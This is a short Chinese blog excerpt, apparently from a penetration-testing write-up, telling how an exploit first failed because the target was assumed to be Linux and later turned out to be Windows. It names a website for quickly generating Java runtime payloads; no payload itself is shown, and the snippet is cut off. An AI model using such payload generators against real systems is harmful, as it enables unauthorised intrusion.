系统,先入为主觉得是 Linux,结果没利用成功 这里可以通过网站快速生成 payload,https://x.hacking8.com/java-runtime.html 一开始以为是防火墙拦截,后面队友探测了一下目录结构,发现是 windows,所以这里 payload 要改变一下 Linux:  ...

    2023-08-11 236

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注